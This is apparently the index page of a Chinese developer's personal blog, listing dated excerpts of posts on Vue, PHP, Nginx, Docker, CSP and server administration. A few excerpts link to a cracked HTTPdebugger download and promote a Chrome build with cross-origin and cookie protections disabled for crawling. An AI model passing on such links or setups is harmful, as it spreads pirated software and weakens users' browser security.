2023-06-24Docker Dockerfile如何编写?Docker Composer该如何使用?Dockerfile 是一个用来构建镜像的文本文件,文本内容包含了一条条构建镜像所需的指令和说明。 FROM,构建镜像基于哪个镜像 MAINTAINER,镜像维护者姓名或邮箱地址 RUN,构建镜像时运行的指令 CMD,运行容器时执行的shell环境 VOLUME,指定容器挂载点到宿主机自动生成的目录或其他容器 USER,为RUN、CMD、和 ENTRYPOINT 执行命令指定运行用户 WORKDI
-
2022-08-02正则断言有哪几种?正则如何实现与或非?相关文档:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions 零宽度正先行断言。仅当子表达式 X 在 此位置的右侧匹配时才继续匹配。 例如,/w+(?=/d) 与后跟数字的单词匹配,而不与该数字匹配。此构造不会回溯。 零宽度负先行断言。仅当子表达式 X 不在 此位置
-
2023-07-11【转】流量控制算法——什么是漏桶算法和令牌桶算法?令牌桶,顾名思义,是一种通过让请求被处理前先行获取令牌,只有获取到令牌的请求才能被放行处理的一种限流方式。令牌桶的实现包含两个方面: 一方面是按固定的速率来产生令牌并存入桶中,如果令牌数量超过桶的最大容量则直接丢弃掉。 一方面当有请求时先从桶中获取令牌,获取到令牌后才能通过进行处理,否则被直接丢弃或等待获取令牌。 令牌桶与漏桶的区别在于漏桶控制的是请求被处理的速率。即当有请求的时候,先进入桶中进行
-
2022-06-19Pinia状态管理器学习笔记,持续记录足够轻量,Pinia 重约 1kb,甚至会忘记它的存在! 去除 Mutation ,Actions 支持同步和异步(Actions一个顶俩,写起来简洁); 无需手动注册 Store,Store 仅需要时才自动注册。如果从不使用,则永远不会“注册”(省心); 没有模块嵌套,只有 Store 的概念,Store 之间可以自由使用,更好的代码分割; Vue2 和 Vue3 都能支持; 支持大型项目迁移期
-
2022-10-07Openresty、Lua学习笔记,从入门到精通,持续记录OpenResty(也称为 ngx_openresty)是一个全功能的 Web 应用服务器。它打包了标准的 Nginx 核心,很多的常用的第三方模块,以及它们的大多数依赖项。 通过揉和众多设计良好的 Nginx 模块,OpenResty 有效地把 Nginx 服务器转变为一个强大的 Web 应用服务器,基于它开发人员可以使用 Lua 编程语言对 Nginx 核心以及现有的各种 Nginx C 模块
-
2022-01-07学习笔记,记录那些建站踩过的坑。持续记录装的是Wordpress中文版,印象中页面显示的也确实是中文,某一天登录突然发现登录界面、文章评论界面都变成了英文。当时以为是程序版本升级导致的,还特意重新安装了一下Wordpress,无果。百度了好几种方法,也没解决这个问题,后来就不了了之了。 今天把一个优化插件关了之后,登录之后发现变回中文了。 好家伙,有原来是你的锅(WPJAM)😂。(关闭前台不加载语言包即可) 1. 腾讯云判断服务器与对象
-
2022-07-04防XSS的利器,什么是内容安全策略(CSP)?内容安全策略(CSP),是一种安全策略,其原理是当浏览器请求某一个网站时,告诉该浏览器申明文件可以执行,什么不可以执行。CSP是专门解决XSS攻击而生的神器。 CSP的引入会使得我们的引入扩展程序更加安全,并且可以由开发者指定可以加载扩展程序的类型,避免恶意的脚本在浏览器中执行,造成信息泄露问题。 CSP是防XSS的利器,可以把其理解为白名单,开发者通过设置CSP的内容,来规定浏览器可以加载的资源
-
2022-08-20Vue项目开发过程中,该如何维护全局状态?什么是状态?在代码的世界里,状态就是指数据,简单的理解:你现在的情绪状态是怎样的? “高兴”,“悲伤”,这就是描述你当前情绪状态的数据。 抽象到一个描述用户的Vue组件,当前登录的用户的头像和昵称,就是这个组件的状态(数据); 从字面意思理解就是,在系统任意地方都可以调用的数据(类似全局变量的概念)。 全局变量,一般特指系统内任意代码位置都可以调用的变量; JS有很多实现全局变量,或者类似全局变量
-
2021-07-24PHP魔术方法一览以及使用方法汇总魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。魔术方法很多还是成对出现的,以下列出目前PHP中所有的模式方法。 __constuct构建对象的时被调用; __destruct明确销毁对象或脚本结束时被调用; __set当给不可访问或不存在属性赋
-
2022-05-26PHP编译参数configure配置详解,以及php.ini说明人,有了物质才能生存;人,有了理想才谈得上生活。 因为现在都是宝塔、lnmp这些自动进行配置的,这个知识点平常很少需要用到,但了解一下,确实能让一些问题豁然开朗。 ./configure -h 在源代码目录中,该命令可以查看所有编译参数以及对应的英文解释 --prefix=/opt/php //指定 php 安装目录 --with-apxs2=/usr/local/apache/bin/apxs
-
2021-09-09SEO优化经验总结,我怕忘记的一些东西1. TDK很重要,每个页面只能有一个H1标签,选对了关键词SEO就已经成功了一半。 2. 百度关键词搜索虽然是分词的(也就是搜索一个次词的时候匹配结果不一定是连词,也可能是句子中的词组成的),但是连词比分词的友好性更强。 3. 文章里的关键词最好都带上内链。 4. 不带WWW的主域名和WWW的二级域名,作为同一个网站的时候可以在两个页面的标题上稍微处理一下(就是可以弄成不一样的),根据以往的经
-
2022-04-25JS定时器清除之后,已经开始但是没有运行完的函数还会继续运行吗?最近使用定时器的时候遇到这样一种情况,定时器清除了,功能仍然在跑(遍历数组,同步定时网络请求)。 排查了一下代码,发现逻辑确实没问题。后来一想,是不是函数没运行完,仍然在跑,于是上代码测试了一下: let timer = setInterval(async () => { console.log("开始") await new Promise((resolve) => { setTim
-
2021-07-27编程日记:PHP实用函数记录(二)匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有指定名称的函数。最经常用作回调函数 callable参数的值。 闭包的概念等同于JS里的闭包。可在函数内进行定义赋值 匿名函数目前是通过 Closure 类来实现的。闭包函数也可以作为变量的值来使用。PHP 会自动把此种表达式转换成内置类 Closure 的对象实例。把一个 closure
-
2022-02-042022年新年春节总结,记录美好生活1月24号,计划下午回家,起的比较早,彻底把家当收拾好,然后把房间打扫了一下。带着行李,出门跟着朋友去家具市场逛了一圈,路上晕车了,人都麻了。大概中午又回来了,一起吃了一碗粉,之后踏上了回家的路。朋友开车我坐车,怕晕车趴了一路,下午4点多到家,一家人聚一起吃了顿饭,拉家常到晚上10点多,然后洗澡睡觉了。 1月25,26,27都没啥事,窝家里,学习,敲代码。期间带外甥女到处跑 1月28号,下午和堂弟
-
2021-09-09Nginx使用经验总结,好记性不比烂笔头(键盘)配置文件中以#开始的行,或者是前面有若干空格或者 TAB,然后再跟#的行,都被认为是注释 在 nginx.conf 中,包含若干配置项。每个配置项由配置指令和指令参数 2 个部分构成。指令参数也就是配置指令对应的配置值。 配置指令是一个字符串,可以用单引号或者双引号括起来,也可以不括。但是如果配置指令包含空格,一定要引起来。 指令的参数使用一个或者多个空格或者 TAB 字符与指令分开。指令的参
-
2021-12-06【转/朵拉陈】致所有正在经历青年危机的人研究生刚毕业的时候,我信心满满,手握着荣誉毕业生的奖状,头顶常春藤名校的光环。当时的我真以为自己就是“天之骄子”,未来之路四通八达。 不到一个月,现实就把我打回了原形:我坐在一个四面无窗的小隔间里,拿着行业中最低的起步工资,做着最辛苦的危机干预工作。上班八小时,不是在处理各种疑难杂症,就是在写病历报告,有时连饭都顾不上吃。更倒霉的是,因为伴侣当时还在上学,为了结束多年的异地恋爱,我只能选择生活在全
-
2022-09-24如何取消Chrome浏览器跨域请求限制、跨域名携带Cookie限制、跨域名操作iframe限制?取消跨域限制、跨域名携带Cookie限制、跨域名操作iframe限制之后的Chrome可以更加方便Web前端开发,同时也可以作为一个完美的爬虫框架。 所有版本的Chrome浏览器下载:https://lanzoui.com/b138066 当协议、子域名、主域名、端口号中任意一个不相同时,都算作不同域。不同域之间相互请求资源,就算作“跨域”,正常情况下浏览器会阻止XMLHttpRequest对象的
-
2022-10-01温故而知新,温习一下曾经学习过的知识点。文章内容只是回顾一下个人学过的一些东西,不具有参考价值。 基础语法 方法 语言结构和流程控制 字符串 数组 正则 面向对象 常用类 反射与注解 集合类 异常处理 日期与时间 I/O流 线程 网络通信 Awt和Swing GD图形控制类 数据库 Java编程规范 Java中的加密技术 基础语法 函数 流程控制和语言结构 字符串 数组 正则 面向对象、面向过程 错误与异常处理 日期与时间 Cookie
-
2022-07-27网页元素相交监测:Intersection Observer API参考文档:https://developer.mozilla.org/zh-CN/docs/Web/API/Intersection_Observer_API Intersection Observer API 提供了一种异步检测目标元素与祖先元素或 viewport 相交情况变化的方法。 过去,要检测一个元素是否可见或者两个元素是否相交并不容易,很多解决办法不可靠或性能很差。然而,随着互联网的发
-
2021-10-20记录一次代理服务器(VPN)搭建(SSR)都是一键安装脚本,也没技术可言。 想弄个代理IP,网上的都要注册、实名,懒得搞,免费的没几个能用的,只能自己造了。 搞普通代理IP,总感觉不踏实,那还是弄VPN吧。 本来相想搞openvpn,不知道为什么现在教程都找不到几个了,只好转向SSR。 下载好SSR客户端,开始下一步。 网上现成的一键脚本好多好多,看着都是一个人开发的。 脚本源是github,有几个链接是正常国内网络访问不了的。 国内服务
-
2022-08-20不使用构建工具,如何对css进行模块化?使用构建工具进行开发,最终通过构建工具打包编译出最终的前端代码是现在的大趋势,但是构建工具生产出来的大都是前后端分离的代码。如果对seo有要求,通过构建工具就不符合需求了(不考虑SSR,毕竟它局限于Node); 在PHP的世界里还是有很多不分离的场景的(例如wordpress)。 对于html可以通过PHP自身的特性去拆分,对于JS 已经有了很多成熟的模块化方案。 那么对于css呢? 这里的模块化
-
2021-09-17Ajax文件上传时:Formdata、File、Blob的关系“Formdata”接口提供了一种表示表单数据的键值对 key/value 的构造方式,并且可以轻松的将数据通过XMLHttpRequest.send() 方法发送出去。 实现了 FormData 接口的对象可以直接在for...of(遍历属性值,for...in 则是遍历属性名)结构中使用,而不需要调用entries()返回可迭代对象(iterator) : for (var p of myFo
-
2021-10-20记录一下Jquery日常使用过程中的一些经验find()可以在所有后代元素里查找,而children()只会查找子代元素(不包括第二层级)。 not() 从匹配元素集合中删除元素。从包含所有段落的集合中删除 id 为 "selected" 的段落: $("p").not("#selected") is() 方法用于查看选择的元素是否匹配选择器。 $(selector).is(selectorElement,function(index,el
-
2022-07-10小型Web项目,团队成员之间应该如何进行协作?声明:本文不参考、不作为任何行业标准,完全是个人日常工作中的一些思考沉淀。目前没有成体系的知识,只能从各种角度进行探讨;本文所述的内容,大前提是已经有了具体的需求,有了需求之后该怎么做。 团队的主要特点就是分工与协作,每个人都有自己的任务,完成任务的同时需要与其他成员协作。 项目经理把握整个项目的方方面面,可以看做是航行在大海上的一艘船的船长,或许不能方方面面做能事无巨细,但是把握着项目的大方面、
-
2022-05-20mysql锁机制学习笔记,持续记录Mysql中锁的分类按照不同类型的划分可以分成不同的锁,按照「锁的粒度」划分可以分成:表锁、页锁、行锁;按照思想的划分:「乐观锁」和「悲观锁」。 行级锁定最大的特点就是锁定对象的粒度很小,也是目前各大数据库管理软件所实现的锁定颗粒度最小的。由于锁定颗粒度很小,所以发生锁定资源争用的概率也最小,能够给予应用程序尽可能大的并发处理能力而提高一些需要高并发应用系统的整体性能。 mysql中使用行级锁定的
-
2022-08-19Ant-Design-Vue 3.x 图标库如何实现自动引入?Ant-Design-Vue升级到2.x以上的版本之后,自带的图标库就不支持通过给组件传递一个代表指定图标的属性来使用了。 <-- 显示Home图标 --> <a-icon type="home" /> <template> <message-outlined :style="{fontSize: '16px', color: '#08c'}" />
-
2022-01-25密码保护:面向自身:技术能力、职业经验、项目经历的记录和总结这是一篇受保护的文章,输入密码后才能查看哈无法提供摘要。这是一篇受保护的文章。
-
2021-11-06理解PHP MVC,以及NPM、YARN命令的相关说明MVC,在我印象中最典型的、自己用的多的当属THinkPHP。 MVC包括控制器(Controller),模型(Model),视图(View)。 控制器的作用是调用模型和 视图,将模型产生的数据传递给视图,并让视图去显示 模型的作用是获取数据并处理返回数据 视图的作用是将取得的数据进行美化,并向用户终端输出 1. 浏览者 -> 调用控制器,发出指令 2. 控制器 -> 按指令选择合适的
-
2022-06-18Vue组件设计学习笔记,持续记录组件化思想并不是前端独有的,但却是前端技术的延伸 任何软件开发过程,或多或少都有那么一些组件化的需求。 每个组件对应一个目录,组件所需的各种资源都在这个目录下就近维护;(最具软件工程价值) 页面上的每个独立的可视/可交互区域视为一个组件; 由于组件具有独立性,可以自由组合; 页面是组件的容器,负责组合组件形成功能完整的界面; 当不需要某个组件,或者想要替换组件时,可以整个目录删除/替换 分子是由原
-
2022-11-09记录一些在此之前不知道的Web API首先回顾一下以前了解过的Web API(强确实强,但很少用到...) Intersection Observer API 提供了一种异步检测目标元素与祖先元素或 viewport 相交情况变化的方法。 相关文档:https://developer.mozilla.org/zh-CN/docs/Web/API/Intersection_Observer_API 全屏 API 为使用用户的整个屏幕展
-
2021-09-20JS模块化编程以及AMD、CMD规范、Webpack先想一想,为什么模块很重要? 随着网站功能逐渐丰富,网页中的js也变得越来越复杂和臃肿,原有通过script标签来导入一个个的js文件这种方式已经不能满足现在互联网开发模式,我们需要团队协作、模块复用、单元测试等等一系列复杂的需求。 因为有了模块,我们就可以更方便地使用别人的代码,想要什么功能,就加载什么模块。 但是,这样做有一个前提,那就是大家必须以同样的方式编写模块,否则你有你的写法,我有我的
-
2022-01-13Vue-Router学习笔记,持续记录随着 ajax 的流行,异步数据请求交互运行在不刷新浏览器的情况下进行。而异步交互体验的更高级版本就是 SPA —— 单页应用。单页应用不仅仅是在页面交互是无刷新的,连页面跳转都是无刷新的,为了实现单页应用,所以就有了前端路由。 类似于服务端路由,前端路由实现起来其实也很简单,就是匹配不同的 url 路径,进行解析,然后动态的渲染出区域 html 内容。但是这样存在一个问题,就是 url 每次变化
-
2022-01-25Vue2向Vue3过渡,持续记录迁移指南:https://v3.cn.vuejs.org/guide/migration/introduction.html 好用的插件:https://vueuse.org/,被遗忘了的几个指令 v-pre、v-once、this.$forceUpdate()、this.nextTick() 编程总结:在setup中应该如何去规划代码?如何模块化?如何才不会一团乱? Vue3中不再构建UMD模块
-
2021-09-18JS浏览器环境下各种实用API记录常见的不做记录,在这记录自己以前没见过的。 Clipboard API 是下一代的剪贴板操作方法,比传统的document.execCommand()方法更强大、更合理。 它的所有操作都是异步的,返回 Promise 对象,不会造成页面卡顿。而且,它可以将任意内容(比如图片)放入剪贴板。 const clipboardObj = navigator.clipboard; /*返回 Clipboar
-
2022-07-31Stylelint该如何配置?Stylelint使用以及相关配置说明官方网站:https://stylelint.io/ stylelin本体:https://www.npmjs.com/package/stylelint stylelint-config-standard 拓展配置:https://www.npmjs.com/package/stylelint-config-standard npm install --save-dev stylelint st
-
2022-07-02腾讯云轻量云服务器、云服务器如何进行内网互联?腾讯云新用户买服务器优惠力度很大。于是乎,我注册了两个腾讯云账号,并且在两个账号内都买了服务器(云服务器、轻量云服务器都有)。为了最大化的利用多台服务器的效率,就必须考虑进行内网互联了。 为什么需要内网互联?为了进行负载均衡、为了分离应用服务器和数据库服务器、为了剥离高带宽请求和高计算请求等等。只要是多台服务器协作,不走内网的话就都很亏了。 部署的场景,组合起来,大概就是下面这几种(同一个VPC内
-
2021-12-09JS的异步编程过程中的问题集锦、echarts使用记录。为了方便维护,在JS里的把html模板和业务逻辑做了分离,在业务逻辑里向模板对象传递指定的data对象返回生成好的html,以往的数据对象是用户交互产生的,今天需要改成从接口拉取。 按照以往的逻辑,获取用户的交互数据,传递给模板。基本上是同步的,今天修改的时候为了不触碰原有的代码,把网络请求单独放在了其他对象里,业务流程变成了,调用网络请求函数产生的返回值作为数据对象传递给模板对象。 一切看似没问
-
2022-07-23Vue 2.7 “Naruto”发布,新特性介绍2.7 是 Vue 2.x 的最终版本。在这个版本之后,Vue 2 进入了 LTS(长期支持),从现在开始持续 18 个月,并且将不再接收新功能。这意味着Vue 2 将在 2023 年底结束生命周期。 官方博客:https://blog.vuejs.org/posts/vue-2-7-naruto.html?continueFlag=24b18743108fc3e584f79dec07a79f02
-
2023-02-18Vite如何实现自动引入指定目录内的组件?Vite 支持使用特殊的 函数从文件系统导入多个模块: const modules = import.meta.glob('./dir/*.js') 以上将会被转译为下面的样子: // vite 生成的代码 const modules = { './dir/foo.js': () => import('./dir/foo.js'), './dir/bar.js': () => impo
-
2022-03-02WebRTC开发经验总结,持续记录volume 音量约束 sampleRate: 采样率 sampleSize: 采样大小,采样的位数 echoCancellation: 回音消除 autoGaincontrol: 增加音量 noiseSuppression: 降噪 latency : 延迟大小 channelCount: 切换声道 deviceID: 多个音频输入输出设备的进行切换 groupId: 同一个物理设备,是一个分组,
-
2021-09-16Chrome浏览器禁用JS、Devtools工具使用的方法记录1. 为什么要禁用? 有些网站实在是不友好,禁止F12,禁止右键。。。等等很多情况,我们只能禁用JS了,任它JS再厉害,也只能乖乖趴下。 设置-> 高级->隐私设置和安全性->网站设置->Javascript,添加禁用网址即可。 本来想自己写的,发现了一篇很好的文章,那就这样吧 大门:https://github.com/CompileYouth/front-end-st
-
2022-08-31Vue渲染函数该如何使用?有哪些需要注意的地方?Vue的模板语法适用于绝大部分的需求场景(模板最终会被编译为渲染函数),在绝大多数情况下,Vue 推荐使用模板语法来创建应用。然而在某些使用场景下,我们真的需要用到 JavaScript 完全的编程能力,举例如下: 假设设计一个开源的后台管理系统,侧边栏菜单需要根据路由自动生成菜单,由于系统可能会被用于不同的功能需求。所以路由的层级、数量都是不确定的。 如果通过模板语法来写,假设路由最多只有三层,
-
2023-02-15记录一次Node升级之后,引发老项目无法启动的问题。ERR_OSSL_EVP_UNSUPPORTED该如何解决?今天把一个以前的古早项目拖出来,准备跑起来改一改。 # 安装npm包 yarn i - D # 运行 yarn run serve 一番操作下来,如行云流水。结果报错了: opensslErrorStack: , library: 'digital envelop
-
2022-04-25SortableJS / vue.draggable.next 使用笔记,持续记录东西确实是好东西,奈何一开始文档没捋清,费了一番时间好好琢磨了一下。 Github:https://github.com/SortableJS/vue.draggable.next,完整代码如下: <draggable v-model="myArray" group="people" @start="drag=true" @end="drag=false" :move="move" hand
-
2022-02-10记录一次使用安卓模拟器抓包安卓应用HTTPdebugger破解版:https://pan.baidu.com/s/1__7e0fVTmccfO-n5FUrzkQ,提取码:8888 雷电模拟器:https://www.ldmnq.com/?n=6000&bd_vid=9204851305503095844 一开始使用夜神模拟器,解决不了证书的问题,怎么设置都不生效,换成这个就好了。 最大的一个问题就是在模拟器上面进行HTTP
-
2022-07-30Eslint该如何配置?Eslint使用以及相关配置说明Eslint在过往接触过的很多开源项目内都有它的身影,习惯一个人写代码了,总觉得它可有可无,但是归根结底,好处还是很多的。 可强制规范团队编码规范,让新旧组员编码习惯得到一致提升 可灵活定制团队编码风格,让预设规则符合新旧组员心理预期 增加项目代码的可维护性和可接入性,让新组员能快速适应项目的架构与需求 保障项目整体质量,可减少无用代码、重复代码、错误代码和漏洞代码的产生几率 中文官网:https
-
2023-01-28如何自己DIY手机壳?推荐一个手机壳DIY小程序购买后觉得不好看、购买后与实际效果不符...,还在为找不到满意的手机壳而烦恼吗?那就扫描上方二维码试试这款在线DIY手机壳的小程序吧! 小程序支持上传自定义图片、添加自定义文字进行任意组合,内置丰富的手机壳模型,通过手机模型实时展现DIY的手机壳效果: 同时提供了丰富的素材和图片模板(支持自定义修改图片上的个性文字),为您的创作增添想象力: DIY成功后,您可以选择保存效果图和素材到手机相册,
-
2022-06-17Linux创建逻辑卷,合并多块数据盘。逻辑卷管理的技术可理解为,将单个或多个物理磁盘分区(PV物理卷)组成逻辑卷组(VG),再把卷组分成多个逻辑卷(LV),主要特点是,在不影响原来数据情况下可简易的扩充磁盘的大小(缩小硬盘空间可能会导至数据丢失)。 就是真正的物理硬盘或分区。 将多个物理卷合起来就组成了卷组,组成同一个卷组的物理卷可以是同一个硬盘的不同分区,也可以是不同硬盘上的不同分区。我们可以把卷组想象为一个逻辑硬盘。 卷组是一个逻
-
2022-05-06Ant Design Vue使用记录,持续记录好些问题,每次解决了,下次遇到了又要重新翻文档,干脆就自己记录一下。 Form.create(options) | this.$form.createForm(this, options) ,通过JFX方式去定义一个Form组件的各种属性。经 Form.create() 包装过的组件会自带 this.form 属性,如果使用 template 语法,可以使用 this.$form.createFo
-
2022-12-272022年年终总结,2023再出发。时光荏苒,2022年一晃而过。即将步入2023年,想着也到总结的时候了。 2022年,总的来说这一年比较平稳,也能说是比较平淡。尝试了许多新方向,得到了不少经验,但是人生路上的迷雾并没有减少,还需要继续摸索。锻炼身体、学习充电一直有在坚持,也算是达成了上一年的几个小目标。 人际交往方面没有太多变化,朋友依旧是那几位,也没有太多的结交新朋友的想法,大部分关系都是保持在角色之内。今年留心记住了朋友们的
-
2022-10-19记录一次服务器被CC攻击后的处理过程2022年10月19日,晚上10点半,突然收到许多用户的反馈说小程序打不开了,打开一看果然,小程序一直处于转圈圈状态。 看了一下时间,10点32分,内心一句MMP:本来打算早睡,一看这架势,熬夜跑不了。 除了小程序之外,服务器上面还跑了很多其他的服务,虽然用户量不大,但是找起来也是要命。 首先告知发出反馈的用户 事件的原因,以及一个保证,并表示问题不大。 因为自己并没有收到腾讯云的安全监控提醒,所
-
2023-04-15Cloudflare Workers学习笔记,Cloudflare Workers 是什么?开发文档:https://developers.cloudflare.com/workers/ Cloudflare Workers提供了一个serverless执行环境,无需配置或维护基础架构即可创建全新的应用程序或扩充现有的应用程序。 Wrangler是一个用于Cloudflare Workers功能开发、测试、部署的CLI工具 相关文档:https://developers.cloudfla
-
2023-02-04微信公众号Web开发笔记,如何开发自己的公众号应用?官方文档:https://developers.weixin.qq.com/doc/offiaccount/Getting_Started/Overview.html 为了识别用户,每个用户针对每个公众号会产生一个安全的OpenID,如果需要在多公众号、移动应用之间做用户共通,则需前往微信开放平台,将这些公众号和应用绑定到一个开放平台账号下,绑定后,一个用户虽然对多个公众号和应用有多个不同的Ope
-
2022-07-10WordPress主题开发,如何修改自带的邮件发送功能?今天收到两条评论,发现没有收到邮件通知,转念一想自己也没设置过邮件相关的配置,查了一下文档发现wordpress是通过wp_mail函数发送邮件的。 打开wordpress源码文件 ,定位到wp_mail函数: <?php //255行代码如下 global $phpmailer; // (Re)create it, if it's gone missing. if ( ! ( $phpma
-
2023-03-16消息中间件的使用场景,流行的消息中间件有哪些?对于一个电商APP而言,每卖掉了一个商品,就要扣减掉商品的库存,而且一旦用户成功支付了,还需要将订单的状态更新成待发货。 在完成这些最核心的功能后,其实是有很多事情要做的,如果这些动作都以同步方式来完成,根据线上系统的一般统计,多个子步骤全部执行完毕,加起来大概需要1秒~2秒的时间。 有时候在高峰期并发量特别大,服务器的磁盘、IO、CPU的负载会很高,执行SQL语句的性能也会有所下降。因此有的时候
-
2022-02-08Vuex3.x、Vuex4.x状态管理器学习笔记Vuex:https://v3.vuex.vuejs.org/zh 什么是状态管理器?方便调试,方便维护数据。https://vuex.vuejs.org/zh/#%E4%BB%80%E4%B9%88%E6%98%AF%E2%80%9C%E7%8A%B6%E6%80%81%E7%AE%A1%E7%90%86%E6%A8%A1%E5%BC%8F%E2%80%9D%EF%BC%9F import Vu
-
2022-01-27Vue Ant Admin学习笔记,持续记录Vue Ant Admin基于Vue2.x的中后台管理系统:https://iczer.gitee.io/vue-antd-admin-docs/ 比较漂亮的,可以借鉴的:https://vue-admin-beautiful.com/admin-pro Ant Design of Vue: https://antdv.com/docs/vue/introduce-cn/(V2及以上版本为Vue
-
2023-02-02前端事件总线(Event Bus)是什么?前端事件总线的简单介绍参考文章:https://www.pipipi.net/questions/13598.html 事件总线是对发布-订阅模式的一种实现,它是一种集中式事件处理机制,允许不同的组件之间进行彼此通信而又不需要相互依赖,达到一种解耦的目的。 发布订阅模式定义对象间一种一对多的依赖关系,使得每当一个对象改变状态,则所有依赖于它的对象都会得到通知并被自动更新。 发布订阅模式主要有两个角色: 发布方(Publ
-
2022-05-12JS实用函数收集,持续记录function getBase64(file) { return new Promise((resolve, reject) => { const reader = new FileReader(); reader.readAsDataURL(file); reader.onload = () => resolve(reader.result); reader.onerror = e
-
2022-07-02Linux service、systemd的作用和用法是什么?service 命令是Redhat Linux兼容的发行版中用来控制系统服务的实用工具,它以启动、停止、重新启动和关闭系统服务,还可以显示所有系统服务的当前状态。 服务(service)本质就是进程,但是是运行在后台的,通常都会监听某个端口,等待其他程序的请求,比如(mysql,sshd,防火墙等),因此我们又称为守护进程。 service运行指定服务(称之为System V初始脚本)时,把大部分
-
2022-08-27PHP如何使用Composer来自动加载项目文件?Composer是PHP的依赖管理工具。它允许您声明您的项目所依赖的库, 并且它将为您管理 (安装/更新) 它们。它以每个项目为基础管理它们, 并将它们安装在项目内的目录 (如 vendor) 中. 默认情况下, 它不会在全局范围内安装任何内容。因此, 它是一个依赖关系管理器。 下载composer.phar文件,即可在任意操作系统上通过PHP运行软件包工具,更新时可直接重新下载文件; https
-
2022-07-08收集文件有方便一点的工具吗?文件收集小程序文件收集是一件很麻烦的事,相信在座的各位很多人都是这样认为的,邮箱收集步骤繁琐,微信收集不好管理,不只这样,还有交错的、没交的、交晚的……好不容易收到手了,发现还得自己整理一遍,总之收集作业、文件,通通都是麻烦事。 但是没法,谁叫咱们接到这个任务了呢!既然要干,咱就得把活干的漂漂亮亮的,干完了还得游刃有余!那到底有什么好办法呢?文件收集小工具来助你一臂之力! 您可以扫码上方小程序码或者直接点击(如
-
2022-07-19PHP+Swoole实现web版的SSH客户端本来是想通过PHP的proc_open和进程进行交互,可是中间的坑太多了,不得不转换一下思路,然后想起来宝塔有网页版SSH客户端,然后研究了一下,嘿嘿,发现能成😁😁😁。 使用了有名的xterm.js,基本可作为生产使用了。(权限记得做好) 测试Demo :http://cname.teiao.com:5701 Github:https://github.com/friend-nicen/php-w
-
2021-09-18记录一些以前没见过的JS语法《ES6标准入门 第3版 .pdf》看了一遍,时间长了没怎么用,也没记住多少,嗯,那只好在实践中学习。 1. js中函数的两种命名方式,即表达式和声明式。 :函数的声明式写法为:function foo(){/*...*/},这种写法会导致函数提升,所有function关键字都会被解释器优先编译,不管是声明在什么位置,都可以调用它,但是它本身不会被执行,定义只是让解释器知道其存在,只有在被调用的时
-
2021-09-14腾讯云云函数开发经验总结(好气)今天尝试了腾讯云的云函数开发,过程是让人抓狂的,结果是美好的,踩了无数的坑。 首先说明一下,我用的PHP,主要是写一个通用型的腾讯云短信发送接口和通用性的钉钉Webhook推送接口。 什么是通用型:菜鸡本人(我)说的是传递token和内容之类的就直接能使用,无需关心中间的实现的特点。 也是踩的最深的,云函数上面的PHP标明的是PHP7,PHP7版本可多了。我常用PHP7.4, 麻溜的写好代码,本地
-
2022-06-18Xpath学习笔记,持续记录很早之前就想研究研究,一直没有合适的时间,今天刚好没啥事,乘机瞧一瞧xpath的“庐山真面目”。 XPath全称XML路径语言(XML Path Language),它是一种用来确定XML文档中某部分位置的语言。XPath基于XML的树状结构,提供在数据结构树中找寻节点的能力。起初XPath的提出的初衷是将其作为一个通用的、介于XPointer与XSL间的语法模型。但是XPath很快地被开发者采用
-
2022-08-20记录自己常用的PHPStorm文件代码模板文件代码模板指的是创建一个新的指定类型文件的时候,默认的代码模板。 对于同一类型的文件,我们往往需要写很多相同的内容(例如针对这个文件的说明注释),这时候就可以把自己常用的一些代码模板修改为默认创建的模板; <?php /* * @author 友人a丶 * @date ${date} * 说明 */ <!DOCTYPE html> <html lang="zh-cn"&g
-
2022-05-26如何解决改了php.ini中的open_basedir之后仍然报open_basedir restriction错误的问题?今天PHP突然报open_basedir restriction错误,改了php.ini还是报错,于是百度查了查,总结如下: 原来LNMP1.2的防跨目录由原来在php.ini中设置 移至网站根目录下的 .user.ini 进行控制。所以要修改open_basedir的目录,得修改网站根目录下的 .user.ini .user.ini文件无法直接修改 如要修改,需要先执行:chattr -i /网
-
2022-07-22Vue后台管理系统开发,相关代码的笔记。从零开始开发后台管理系统,还是有很多值得记录的地方。构建工具Vite、使用Vue3。 /* * @author 友人a丶 * @date 2022-07-11 * @app Vue应用对象 * */ export default function (app) { /* * 指定要导入的文件目录 * 直接加载用{eager:true},懒加载用glob * */ const modules = im
-
2021-10-08PHP批量识别Nginx网站日志内的百度真假爬虫记录通过分析网站日志可以统计出百度的真实抓取次数、分析抓取情况。 网站一般都有一定的反爬虫机制,但是为了正常收录会通过UA排除百度的爬虫,也就导致了很多做采集、爬虫的人冒充百度爬虫UA用以越过反爬虫机制。 逐条分析每一条日志,筛选出百度爬虫的日志,再通过exec函数执行nslookup命令反向解析IP获取解析的域名,域名中包括baiduspider关键词的就是真的百度爬虫。 下载PHP脚本(百度网盘)
-
2021-11-23记录一下自己做过哪些菜(生活系列)白菜豆腐 水煮白菜 包菜豆腐 玉米炒鸡胸肉 清炒藕丁 青椒小鱼仔 红萝卜丝炒肉 豆干炒肉 油豆腐炒肉 苦瓜炒蛋 火腿炒蛋 韭菜煎蛋 荷包蛋 毛豆炒肉 豆皮炒肉 香肠红萝卜 莴笋炒肉 黄瓜火腿炒蛋 油煎豆腐炒肉 香菇炒肉 按时搞卫生 东西摆放好 衣服当天就洗 敲代码记得眨眼 出门可以多带一把伞 自己做比点外卖强(就是费时间) 坚持跑步 坚持锻炼 和朋友联络感情 坚持学习 不浪费时间,时不我待 给家人
-
2022-01-07Web相关岗位介绍、项目团队成员分工职责后端语言主要包括Java、Python、C++、PHP语言等。从近几年IT行业的发展来看,后端的发展前景很大,无论是B/S还是C/S,无论是WEB还是原生,或者是智能硬件,后端都会屹立不倒。咱们现在所说的程序员,大多数人都是做后端开发。后端开发也可以说是程序员中薪资最高的一批人。 UI的发展前景是很赞的,在两到三年前,甚至都有人推动让UI来代替产品经理来驱动。某种程度上来说,UI最好的发展方向是U